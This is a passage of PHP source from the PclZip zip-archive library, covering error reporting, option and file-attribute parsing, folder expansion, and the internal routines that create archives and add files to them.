            return ($v_value . ' (' . $this->error_code . ')');
        }

        return ($v_value);
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : errorInfo()
    // Description :
    // Parameters :
    // --------------------------------------------------------------------------------
    public function errorInfo($p_full = false)
    {
        if (PCLZIP_ERROR_EXTERNAL == 1) {
            return (PclErrorString());
        }

        if ($p_full) {
            return ($this->errorName(true) . " : " . $this->error_string);
        }

        return ($this->error_string . " [code " . $this->error_code . "]");
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS *****
    // *****                                                        *****
    // *****       THESES FUNCTIONS MUST NOT BE USED DIRECTLY       *****
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privCheckFormat()
    // Description :
    //   This method check that the archive exists and is a valid zip archive.
    //   Several level of check exists. (futur)
    // Parameters :
    //   $p_level : Level of check. Default 0.
    //              0 : Check the first bytes (magic codes) (default value))
    //              1 : 0 + Check the central directory (futur)
    //              2 : 1 + Check each file header (futur)
    // Return Values :
    //   true on success,
    //   false on error, the error code is set.
    // --------------------------------------------------------------------------------
    public function privCheckFormat($p_level = 0)
    {
        $v_result = true;

        // ----- Reset the file system cache
        clearstatcache();

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Look if the file exits
        if (!is_file($this->zipname)) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '" . $this->zipname . "'");

            return (false);
        }

        // ----- Check that the file is readeable
        if (!is_readable($this->zipname)) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '" . $this->zipname . "'");

            return (false);
        }

        // ----- Check the magic code
        // TBC

        // ----- Check the central header
        // TBC

        // ----- Check each file header
        // TBC

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privParseOptions()
    // Description :
    //   This internal methods reads the variable list of arguments ($p_options_list,
    //   $p_size) and generate an array with the options and values ($v_result_list).
    //   $v_requested_options contains the options that can be present and those that
    //   must be present.
    //   $v_requested_options is an array, with the option value as key, and 'optional',
    //   or 'mandatory' as value.
    // Parameters :
    //   See above.
    // Return Values :
    //   1 on success.
    //   0 on failure.
    // --------------------------------------------------------------------------------
    public function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options = false)
    {
        $v_result = 1;

        // ----- Read the options
        $i = 0;
        while ($i < $p_size) {

            // ----- Check if the option is supported
            if (!isset($v_requested_options[$p_options_list[$i]])) {
                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '" . $p_options_list[$i] . "' for this method");

                // ----- Return
                return PclZip::errorCode();
            }

            // ----- Look for next option
            switch ($p_options_list[$i]) {
                // ----- Look for options that request a path value
                case PCLZIP_OPT_PATH:
                case PCLZIP_OPT_REMOVE_PATH:
                case PCLZIP_OPT_ADD_PATH:
                    // ----- Check the number of parameters
                    if (($i + 1) >= $p_size) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Get the value
                    $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i + 1], false);
                    $i++;
                    break;

                case PCLZIP_OPT_TEMP_FILE_THRESHOLD:
                    // ----- Check the number of parameters
                    if (($i + 1) >= $p_size) {
                        PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        return PclZip::errorCode();
                    }

                    // ----- Check for incompatible options
                    if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '" . PclZipUtilOptionText($p_options_list[$i]) . "' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");

                        return PclZip::errorCode();
                    }

                    // ----- Check the value
                    $v_value = $p_options_list[$i + 1];
                    if ((!is_integer($v_value)) || ($v_value < 0)) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        return PclZip::errorCode();
                    }

                    // ----- Get the value (and convert it in bytes)
                    $v_result_list[$p_options_list[$i]] = $v_value * 1048576;
                    $i++;
                    break;

                case PCLZIP_OPT_TEMP_FILE_ON:
                    // ----- Check for incompatible options
                    if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '" . PclZipUtilOptionText($p_options_list[$i]) . "' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");

                        return PclZip::errorCode();
                    }

                    $v_result_list[$p_options_list[$i]] = true;
                    break;

                case PCLZIP_OPT_TEMP_FILE_OFF:
                    // ----- Check for incompatible options
                    if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '" . PclZipUtilOptionText($p_options_list[$i]) . "' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");

                        return PclZip::errorCode();
                    }
                    // ----- Check for incompatible options
                    if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '" . PclZipUtilOptionText($p_options_list[$i]) . "' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");

                        return PclZip::errorCode();
                    }

                    $v_result_list[$p_options_list[$i]] = true;
                    break;

                case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION:
                    // ----- Check the number of parameters
                    if (($i + 1) >= $p_size) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Get the value
                    if (is_string($p_options_list[$i + 1]) && ($p_options_list[$i + 1] != '')) {
                        $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i + 1], false);
                        $i++;
                    } else {
                    }
                    break;

                // ----- Look for options that request an array of string for value
                case PCLZIP_OPT_BY_NAME:
                    // ----- Check the number of parameters
                    if (($i + 1) >= $p_size) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Get the value
                    if (is_string($p_options_list[$i + 1])) {
                        $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i + 1];
                    } elseif (is_array($p_options_list[$i + 1])) {
                        $v_result_list[$p_options_list[$i]] = $p_options_list[$i + 1];
                    } else {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }
                    $i++;
                    break;

                // ----- Look for options that request an EREG or PREG expression
                case PCLZIP_OPT_BY_EREG:
                    $p_options_list[$i] = PCLZIP_OPT_BY_PREG;
                    // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG
                    // to PCLZIP_OPT_BY_PREG
                case PCLZIP_OPT_BY_PREG:
                    //case PCLZIP_OPT_CRYPT :
                    // ----- Check the number of parameters
                    if (($i + 1) >= $p_size) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Get the value
                    if (is_string($p_options_list[$i + 1])) {
                        $v_result_list[$p_options_list[$i]] = $p_options_list[$i + 1];
                    } else {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }
                    $i++;
                    break;

                // ----- Look for options that takes a string
                case PCLZIP_OPT_COMMENT:
                case PCLZIP_OPT_ADD_COMMENT:
                case PCLZIP_OPT_PREPEND_COMMENT:
                    // ----- Check the number of parameters
                    if (($i + 1) >= $p_size) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Get the value
                    if (is_string($p_options_list[$i + 1])) {
                        $v_result_list[$p_options_list[$i]] = $p_options_list[$i + 1];
                    } else {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }
                    $i++;
                    break;

                // ----- Look for options that request an array of index
                case PCLZIP_OPT_BY_INDEX:
                    // ----- Check the number of parameters
                    if (($i + 1) >= $p_size) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Get the value
                    $v_work_list = array();
                    if (is_string($p_options_list[$i + 1])) {

                        // ----- Remove spaces
                        $p_options_list[$i + 1] = str_replace(' ', '', $p_options_list[$i + 1]);

                        // ----- Parse items
                        $v_work_list = explode(",", $p_options_list[$i + 1]);
                    } elseif (is_integer($p_options_list[$i + 1])) {
                        $v_work_list[0] = $p_options_list[$i + 1] . '-' . $p_options_list[$i + 1];
                    } elseif (is_array($p_options_list[$i + 1])) {
                        $v_work_list = $p_options_list[$i + 1];
                    } else {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Reduce the index list
                    // each index item in the list must be a couple with a start and
                    // an end value : [0,3], [5-5], [8-10], ...
                    // ----- Check the format of each item
                    $v_sort_flag  = false;
                    $v_sort_value = 0;
                    for ($j = 0; $j < sizeof($v_work_list); $j++) {
                        // ----- Explode the item
                        $v_item_list      = explode("-", $v_work_list[$j]);
                        $v_size_item_list = sizeof($v_item_list);

                        // ----- TBC : Here we might check that each item is a
                        // real integer ...

                        // ----- Look for single value
                        if ($v_size_item_list == 1) {
                            // ----- Set the option value
                            $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
                            $v_result_list[$p_options_list[$i]][$j]['end']   = $v_item_list[0];
                        } elseif ($v_size_item_list == 2) {
                            // ----- Set the option value
                            $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
                            $v_result_list[$p_options_list[$i]][$j]['end']   = $v_item_list[1];
                        } else {
                            // ----- Error log
                            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                            // ----- Return
                            return PclZip::errorCode();
                        }

                        // ----- Look for list sort
                        if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
                            $v_sort_flag = true;

                            // ----- TBC : An automatic sort should be writen ...
                            // ----- Error log
                            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                            // ----- Return
                            return PclZip::errorCode();
                        }
                        $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
                    }

                    // ----- Sort the items
                    if ($v_sort_flag) {
                        // TBC : To Be Completed
                    }

                    // ----- Next option
                    $i++;
                    break;

                // ----- Look for options that request no value
                case PCLZIP_OPT_REMOVE_ALL_PATH:
                case PCLZIP_OPT_EXTRACT_AS_STRING:
                case PCLZIP_OPT_NO_COMPRESSION:
                case PCLZIP_OPT_EXTRACT_IN_OUTPUT:
                case PCLZIP_OPT_REPLACE_NEWER:
                case PCLZIP_OPT_STOP_ON_ERROR:
                    $v_result_list[$p_options_list[$i]] = true;
                    break;

                // ----- Look for options that request an octal value
                case PCLZIP_OPT_SET_CHMOD:
                    // ----- Check the number of parameters
                    if (($i + 1) >= $p_size) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Get the value
                    $v_result_list[$p_options_list[$i]] = $p_options_list[$i + 1];
                    $i++;
                    break;

                // ----- Look for options that request a call-back
                case PCLZIP_CB_PRE_EXTRACT:
                case PCLZIP_CB_POST_EXTRACT:
                case PCLZIP_CB_PRE_ADD:
                case PCLZIP_CB_POST_ADD:
                    /* for futur use
                    case PCLZIP_CB_PRE_DELETE :
                    case PCLZIP_CB_POST_DELETE :
                    case PCLZIP_CB_PRE_LIST :
                    case PCLZIP_CB_POST_LIST :
                    */
                    // ----- Check the number of parameters
                    if (($i + 1) >= $p_size) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Get the value
                    $v_function_name = $p_options_list[$i + 1];

                    // ----- Check that the value is a valid existing function
                    if (!function_exists($v_function_name)) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '" . $v_function_name . "()' is not an existing function for option '" . PclZipUtilOptionText($p_options_list[$i]) . "'");

                        // ----- Return
                        return PclZip::errorCode();
                    }

                    // ----- Set the attribute
                    $v_result_list[$p_options_list[$i]] = $v_function_name;
                    $i++;
                    break;

                default:
                    // ----- Error log
                    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter '" . $p_options_list[$i] . "'");

                    // ----- Return
                    return PclZip::errorCode();
            }

            // ----- Next options
            $i++;
        }

        // ----- Look for mandatory options
        if ($v_requested_options !== false) {
            for ($key = reset($v_requested_options); $key = key($v_requested_options); $key = next($v_requested_options)) {
                // ----- Look for mandatory option
                if ($v_requested_options[$key] == 'mandatory') {
                    // ----- Look if present
                    if (!isset($v_result_list[$key])) {
                        // ----- Error log
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter " . PclZipUtilOptionText($key) . "(" . $key . ")");

                        // ----- Return
                        return PclZip::errorCode();
                    }
                }
            }
        }

        // ----- Look for default values
        if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {

        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privOptionDefaultThreshold()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privOptionDefaultThreshold(&$p_options)
    {
        $v_result = 1;

        if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
            return $v_result;
        }

        // ----- Get 'memory_limit' configuration value
        $v_memory_limit = ini_get('memory_limit');
        $v_memory_limit = trim($v_memory_limit);
        $last           = strtolower(substr($v_memory_limit, -1));
        $v_memory_limit = preg_replace('/[^0-9,.]/', '', $v_memory_limit);

        if ($last == 'g') {
            //$v_memory_limit = $v_memory_limit*1024*1024*1024;
            $v_memory_limit = $v_memory_limit * 1073741824;
        }
        if ($last == 'm') {
            //$v_memory_limit = $v_memory_limit*1024*1024;
            $v_memory_limit = $v_memory_limit * 1048576;
        }
        if ($last == 'k') {
            $v_memory_limit = $v_memory_limit * 1024;
        }

        $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit * PCLZIP_TEMPORARY_FILE_RATIO);

        // ----- Sanity check : No threshold if value lower than 1M
        if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
            unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privFileDescrParseAtt()
    // Description :
    // Parameters :
    // Return Values :
    //   1 on success.
    //   0 on failure.
    // --------------------------------------------------------------------------------
    public function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options = false)
    {
        $v_result = 1;

        // ----- For each file in the list check the attributes
        foreach ($p_file_list as $v_key => $v_value) {

            // ----- Check if the option is supported
            if (!isset($v_requested_options[$v_key])) {
                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '" . $v_key . "' for this file");

                // ----- Return
                return PclZip::errorCode();
            }

            // ----- Look for attribute
            switch ($v_key) {
                case PCLZIP_ATT_FILE_NAME:
                    if (!is_string($v_value)) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type " . gettype($v_value) . ". String expected for attribute '" . PclZipUtilOptionText($v_key) . "'");

                        return PclZip::errorCode();
                    }

                    $p_filedescr['filename'] = PclZipUtilPathReduction($v_value);

                    if ($p_filedescr['filename'] == '') {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '" . PclZipUtilOptionText($v_key) . "'");

                        return PclZip::errorCode();
                    }

                    break;

                case PCLZIP_ATT_FILE_NEW_SHORT_NAME:
                    if (!is_string($v_value)) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type " . gettype($v_value) . ". String expected for attribute '" . PclZipUtilOptionText($v_key) . "'");

                        return PclZip::errorCode();
                    }

                    $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);

                    if ($p_filedescr['new_short_name'] == '') {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '" . PclZipUtilOptionText($v_key) . "'");

                        return PclZip::errorCode();
                    }
                    break;

                case PCLZIP_ATT_FILE_NEW_FULL_NAME:
                    if (!is_string($v_value)) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type " . gettype($v_value) . ". String expected for attribute '" . PclZipUtilOptionText($v_key) . "'");

                        return PclZip::errorCode();
                    }

                    $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);

                    if ($p_filedescr['new_full_name'] == '') {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '" . PclZipUtilOptionText($v_key) . "'");

                        return PclZip::errorCode();
                    }
                    break;

                // ----- Look for options that takes a string
                case PCLZIP_ATT_FILE_COMMENT:
                    if (!is_string($v_value)) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type " . gettype($v_value) . ". String expected for attribute '" . PclZipUtilOptionText($v_key) . "'");

                        return PclZip::errorCode();
                    }

                    $p_filedescr['comment'] = $v_value;
                    break;

                case PCLZIP_ATT_FILE_MTIME:
                    if (!is_integer($v_value)) {
                        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type " . gettype($v_value) . ". Integer expected for attribute '" . PclZipUtilOptionText($v_key) . "'");

                        return PclZip::errorCode();
                    }

                    $p_filedescr['mtime'] = $v_value;
                    break;

                case PCLZIP_ATT_FILE_CONTENT:
                    $p_filedescr['content'] = $v_value;
                    break;

                default:
                    // ----- Error log
                    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter '" . $v_key . "'");

                    // ----- Return
                    return PclZip::errorCode();
            }

            // ----- Look for mandatory options
            if ($v_requested_options !== false) {
                for ($key = reset($v_requested_options); $key = key($v_requested_options); $key = next($v_requested_options)) {
                    // ----- Look for mandatory option
                    if ($v_requested_options[$key] == 'mandatory') {
                        // ----- Look if present
                        if (!isset($p_file_list[$key])) {
                            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter " . PclZipUtilOptionText($key) . "(" . $key . ")");

                            return PclZip::errorCode();
                        }
                    }
                }
            }

            // end foreach
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privFileDescrExpand()
    // Description :
    //   This method look for each item of the list to see if its a file, a folder
    //   or a string to be added as file. For any other type of files (link, other)
    //   just ignore the item.
    //   Then prepare the information that will be stored for that file.
    //   When its a folder, expand the folder with all the files that are in that
    //   folder (recursively).
    // Parameters :
    // Return Values :
    //   1 on success.
    //   0 on failure.
    // --------------------------------------------------------------------------------
    public function privFileDescrExpand(&$p_filedescr_list, &$p_options)
    {
        $v_result = 1;

        // ----- Create a result list
        $v_result_list = array();

        // ----- Look each entry
        for ($i = 0; $i < sizeof($p_filedescr_list); $i++) {

            // ----- Get filedescr
            $v_descr = $p_filedescr_list[$i];

            // ----- Reduce the filename
            $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false);
            $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);

            // ----- Look for real file or folder
            if (file_exists($v_descr['filename'])) {
                if (@is_file($v_descr['filename'])) {
                    $v_descr['type'] = 'file';
                } elseif (@is_dir($v_descr['filename'])) {
                    $v_descr['type'] = 'folder';
                } elseif (@is_link($v_descr['filename'])) {
                    // skip
                    continue;
                } else {
                    // skip
                    continue;
                }

            // ----- Look for string added as file
            } elseif (isset($v_descr['content'])) {
                $v_descr['type'] = 'virtual_file';

            // ----- Missing file
            } else {
                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '" . $v_descr['filename'] . "' does not exist");

                // ----- Return
                return PclZip::errorCode();
            }

            // ----- Calculate the stored filename
            $this->privCalculateStoredFilename($v_descr, $p_options);

            // ----- Add the descriptor in result list
            $v_result_list[sizeof($v_result_list)] = $v_descr;

            // ----- Look for folder
            if ($v_descr['type'] == 'folder') {
                // ----- List of items in folder
                $v_dirlist_descr = array();
                $v_dirlist_nb    = 0;
                if ($v_folder_handler = @opendir($v_descr['filename'])) {
                    while (($v_item_handler = @readdir($v_folder_handler)) !== false) {

                        // ----- Skip '.' and '..'
                        if (($v_item_handler == '.') || ($v_item_handler == '..')) {
                            continue;
                        }

                        // ----- Compose the full filename
                        $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'] . '/' . $v_item_handler;

                        // ----- Look for different stored filename
                        // Because the name of the folder was changed, the name of the
                        // files/sub-folders also change
                        if (($v_descr['stored_filename'] != $v_descr['filename']) && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
                            if ($v_descr['stored_filename'] != '') {
                                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'] . '/' . $v_item_handler;
                            } else {
                                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
                            }
                        }

                        $v_dirlist_nb++;
                    }

                    @closedir($v_folder_handler);
                } else {
                    // TBC : unable to open folder in read mode
                }

                // ----- Expand each element of the list
                if ($v_dirlist_nb != 0) {
                    // ----- Expand
                    if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
                        return $v_result;
                    }

                    // ----- Concat the resulting list
                    $v_result_list = array_merge($v_result_list, $v_dirlist_descr);
                } else {
                }

                // ----- Free local array
                unset($v_dirlist_descr);
            }
        }

        // ----- Get the result list
        $p_filedescr_list = $v_result_list;

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privCreate()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
    {
        $v_result      = 1;
        $v_list_detail = array();

        // ----- Magic quotes trick
        $this->privDisableMagicQuotes();

        // ----- Open the file in write mode
        if (($v_result = $this->privOpenFd('wb')) != 1) {
            // ----- Return
            return $v_result;
        }

        // ----- Add the list of files
        $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);

        // ----- Close
        $this->privCloseFd();

        // ----- Magic quotes trick
        $this->privSwapBackMagicQuotes();

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privAdd()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
    {
        $v_result      = 1;
        $v_list_detail = array();

        // ----- Look if the archive exists or is empty
        if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0)) {

            // ----- Do a create
            $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);

            // ----- Return
            return $v_result;
        }
        // ----- Magic quotes trick
        $this->privDisableMagicQuotes();

        // ----- Open the zip file
        if (($v_result = $this->privOpenFd('rb')) != 1) {
            // ----- Magic quotes trick
            $this->privSwapBackMagicQuotes();

            // ----- Return
            return $v_result;
        }

        // ----- Read the central directory informations
        $v_central_dir = array();
        if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();

            return $v_result;
        }

        // ----- Go to beginning of File
        @rewind($this->zip_fd);

        // ----- Creates a temporay file
        $v_zip_temp_name = PCLZIP_TEMPORARY_DIR . uniqid('pclzip-') . '.tmp';

        // ----- Open the temporary file in write mode
        if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();

            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \'' . $v_zip_temp_name . '\' in binary write mode');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Copy the files from the archive to the temporary file
        // TBC : Here I should better append the file and go back to erase the central dir
        $v_size = $v_central_dir['offset'];
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = fread($this->zip_fd, $v_read_size);
            @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Swap the file descriptor
        // Here is a trick : I swap the temporary fd with the zip fd, in order to use
        // the following methods on the temporary fil and not the real archive
        $v_swap        = $this->zip_fd;
        $this->zip_fd  = $v_zip_temp_fd;
        $v_zip_temp_fd = $v_swap;

        // ----- Add the files
        $v_header_list = array();
        if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) {
            fclose($v_zip_temp_fd);
            $this->privCloseFd();
            @unlink($v_zip_temp_name);
            $this->privSwapBackMagicQuotes();

            // ----- Return
            return $v_result;
        }

        // ----- Store the offset of the central dir
        $v_offset = @ftell($this->zip_fd);

        // ----- Copy the block of file headers from the old archive
        $v_size = $v_central_dir['size'];
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @fread($v_zip_temp_fd, $v_read_size);
            @fwrite($this->zip_fd, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Create the Central Dir files header
        for ($i = 0, $v_count = 0; $i < sizeof($v_header_list); $i++) {
            // ----- Create the file header
            if ($v_header_list[$i]['status'] == 'ok') {
                if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
                    fclose($v_zip_temp_fd);
                    $this->privCloseFd();
                    @unlink($v_zip_temp_name);
                    $this->privSwapBackMagicQuotes();

                    // ----- Return
                    return $v_result;
                }
                $v_count++;
            }

            // ----- Transform the header to a 'usable' info
            $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
        }

        // ----- Zip file comment
        $v_comment = $v_central_dir['comment'];
        if (isset($p_options[PCLZIP_OPT_COMMENT])) {
            $v_comment = $p_options[PCLZIP_OPT_COMMENT];
        }
        if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
            $v_comment = $v_comment . $p_options[PCLZIP_OPT_ADD_COMMENT];
        }
        if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
            $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT] . $v_comment;
        }

        // ----- Calculate the size of the central header
        $v_size = @ftell($this->zip_fd) - $v_offset;

        // ----- Create the central dir footer
        if (($v_result = $this->privWriteCentralHeader($v_count + $v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1) {
            // ----- Reset the file list
            unset($v_header_list);
            $this->privSwapBackMagicQuotes();

            // ----- Return
            return $v_result;
        }

        // ----- Swap back the file descriptor
        $v_swap        = $this->zip_fd;
        $this->zip_fd  = $v_zip_temp_fd;
        $v_zip_temp_fd = $v_swap;

        // ----- Close
        $this->privCloseFd();

        // ----- Close the temporary file
        @fclose($v_zip_temp_fd);

        // ----- Magic quotes trick
        $this->privSwapBackMagicQuotes();

        // ----- Delete the zip file
        // TBC : I should test the result ...
